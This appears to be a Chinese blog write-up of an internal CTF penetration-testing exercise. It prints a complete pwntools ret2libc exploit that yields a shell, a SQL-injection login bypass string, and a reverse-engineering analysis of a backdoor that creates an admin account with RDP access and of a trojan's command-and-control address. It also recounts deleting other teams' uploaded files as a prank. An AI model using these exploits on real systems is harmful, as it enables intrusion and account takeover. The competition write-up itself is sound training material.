前言
参加了一次大综合测试,自己发挥还行,但是说实话结果惨不忍睹 T.T
可能是因为从来没有做过信息收集、渗透测试之类的事吧,别人能够找到的很多东西都很难找到
闲话就这么多了,看看这次大综合给的题目
相关附件
信息搜集
这次测试是在内网进行的,提交flag是在佬自己开的GZCTF上面提交。
这里借用其他小组的一个信息搜集结果

pwn环节
开始测试 15min 后,出题师傅在 192.168.2.247 上开启了 9900端口,nc可以发现是一道pwn题目。
在出题师傅处拿到二进制文件,发现是一个ret2libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123
| from pwn import * import LibcSearcher import sys
file = './pwn'
gdb_plugin = '/home/mindedness/pwn'
elf = ELF(file)
context.binary = elf context.os = 'linux' IsGDB = ''
if 'remote' in sys.argv or 'REMOTE' in sys.argv: print('<Host Port> or <nc Host Port>') Remote_Setting = input().split() if 'nc' in Remote_Setting: Remote_Setting.remove('nc') for _ in range(0,len(Remote_Setting)): item = Remote_Setting[0] Remote_Setting.remove(item) if ':' in item: Remote_Setting.extend(item.split(':')) else: Remote_Setting.append(item) if ':' in Remote_Setting: Remote_Setting.remove(':') while '' in Remote_Setting: Remote_Setting.remove('') host, port = Remote_Setting port = int(port) io = remote(host, port) GDB = lambda: 1 == 1 else: io = process(file) print("Debug Mode? Y/N (yes/no)") IsDebug = input().lower() print("Start GDB? Y/N (yes/no)") IsGDB = input().lower() if IsDebug == 'yes' or IsDebug == 'y': context.log_level = 'debug' if IsGDB == 'yes' or IsGDB == 'y': context.terminal = ['tmux', 'split-window', '-v', '-t', '0'] tty_0 = subprocess.check_output([ 'tmux', 'display-message', '-p', '#{pane_tty}' ]).decode().strip() tty_1, pane_id_1 = subprocess.check_output([ 'tmux', 'split-window', '-h', '-P', '-F', '#{pane_tty} #{pane_id}', 'cat -' ]).decode().strip().split() gdb_script = f""" set context-output {tty_1} define hook-quit shell tmux kill-pane -t {pane_id_1} end rename_import ./.rename """
print(gdb_script) GDB = lambda: gdb.attach(io, gdb_script) else: io = process(file) GDB = lambda: 1 == 1
if elf.arch == 'i386': B = 4 unpk = lambda unpack : u32(unpack.ljust(B,b'\x00')) dopk = lambda dopack : p32(dopack) elif elf.arch == 'amd64': B = 8 unpk = lambda unpack : u64(unpack.ljust(B,b'\x00')) dopk = lambda dopack : p64(dopack) else: B = int(input("Input Address Byte: "))
success(f"Arch = {elf.arch} || B = {B}")
int_to_byte = lambda numbers=0 : str(numbers).encode('utf-8')
sla = lambda rcv, snd: io.sendlineafter(rcv, snd) sl = lambda snd: io.sendline(snd) sa = lambda rcv, snd: io.sendafter(rcv, snd) rcv = lambda num, t=Timeout.default: io.recv(num, t) rcu = lambda stop, drop=False, t=Timeout.default: io.recvuntil(stop, drop, t) SHELL = lambda: io.interactive()
pop_rdi_ret = 0x400803 pop_rsi_r15_ret = 0x400801
padding = 0x70 + B payload = flat([ b"A"*padding, pop_rdi_ret, elf.got["puts"], elf.symbols["puts"], elf.symbols["main"] ]) GDB() sla(b"O.o?",payload) rcu(b"\x0a") leak_addr = unpk(rcu(b"\x0a",drop=True))
libc = LibcSearcher.LibcSearcher("puts",leak_addr) libc_base = leak_addr - libc.dump("puts") system_addr = libc_base + libc.dump("system") bin_sh_addr = libc_base + libc.dump("str_bin_sh") success(f"write: {hex(leak_addr)}") success(f"base:{hex(libc_base)}") payload = flat([ b"A"*padding, pop_rdi_ret, bin_sh_addr, system_addr ]) sla(b"O.o?",payload) SHELL()
|
20min 内完成战斗(还是慢了,当时看到有csu,想着用ret2csu,发现不起效果)
得到 shell
使用 find -name flag*
找到两个 flag

这里获得的那个 “fake flag” 实际上是真实的 flag2
当时出题师傅出题的时候还是我自己提的建议
太坏了 T.T
文件寻找环节
我们这台开在docker上的机器可谓是大有可为
我们访问桌面,在看到flag1的同时,也能够看到一个 3389.exe ,用scp指令拿下来。
在翻home时,使用ls -a看到了一个隐藏用户 .XXXX
进入 /home/.XXXX 后,发现这里有 3389.exe 和一个 shell.exe
甚至有一个 .log 文件(其他师傅说这个.log文件里面有东西,但是我说实话是没找到的)

两个都scp下来,进行逆向
逆向环节
工具依然是使用IDA查看反编译代码
3389.exe

IDA一进来,什么都没看到,但是又仿佛看到了什么

翻了一下,发现程序执行了这一串

这个程序增加了一个 admin的账户,密码为 admin123
将admin账户加入了administrator用户组
将远程桌面功能打开,也就是打开了3389端口,使得这台机器能够被远程控制
则我们就得到了 192.168.2.199的3389远控Admin权限。
- Account: admin
- Password: admin123
从而,这台 192.168.2.247 的机器就被打穿了。
在 192.168.2.199 这台机器里面还有两个flag可以获取。
shell.exe
出题师傅说,flag4是一个特洛伊木马程序中的ip及port。
我们对这个shell.exe进行逆向
打开发现,这个程序在.peao段只存在两个函数体

对其进行查看,发现在我命名为 func 的函数中,发现了一串特征字符

这里将 ‘23_2sw’的端序转换一下,发现是 ws2_32
ws2_32.dll
是 Windows 的Socket库,用于网络通信的。
那么这里便是调用了Windows的Socket库,因而必定有一个Socket数组
它的结构大概是这样的:
1 2 3 4 5
| struct sockaddr_in { sa_family_t sin_family; uint16_t sin_port; struct in_addr sin_addr; };
|
如果是 IPv4的话,那么长度大概在 4+4+2*4 = 16字节
我们对整个func段进行解析,发现有且只有一个满足长度需求
8083A8C0B1600002
-> 02 00
06 B1
C0 A8 83 80
分别对应 sin_family、sin_port、sin_addr
这里可以简单的用一下这个脚本
1 2 3 4 5 6 7 8 9 10 11
| strs = "8083A8C0B1600002" strs, sin_family = strs[:-4],strs[-4:] strs, sin_port = strs[:-4],strs[-4:] sin_port = int(sin_port[2:] + sin_port[:2],16) sin_ip = "" for i in range(4): sin_ip,strs = sin_ip+str(int(strs[-2:],16)), strs[:-2] if i != 3: sin_ip += "." print(f"sin_family : {sin_family}\nsin_ip : {sin_ip}\nsin_port : {sin_port}\n")
|

则 ip 为: 192.168.131.128
port 为: 24753
则得到了flag4
大综合时的小插曲
这次大综合,我这条线其实是没打穿的,因为我卡在了不知道怎么把文件下下来 T.T
在结束之后我才恶补了一下,发现 scp 以及 wget都是可以成功在这种情况下下载的。
当然,最好玩的其实是在大综合的时候当了一次蓝队 XD
当时在 192.168.4.71的8080端口上,存在一个admin登录口,可以直接用 admin ' or 1=1 #
进去
里面有一个文件上传。因为我们队我那一条线找不到怎么下载,就在那里摆着了,来跟他们一起玩。
这时候我惊奇的发现: 诶,这个管理员界面可以删除文件! ☝🤓
于是,我把其他队伍的上传的.php文件都删掉了(
他们找了好久,才发现是自己上传的文件被删掉了,导致他们推不动进度
诶嘿
尾声
要不要来一场激动人心的 CTF 比赛!✅
这里有你所爱的 Flag小姐 🔞
有以 pwn 成圣的超级大能 🐍
还有菜菜的我 (大佬求带啊 QAQ) 🥦
感谢师傅们看到这里了
又水一篇,诶嘿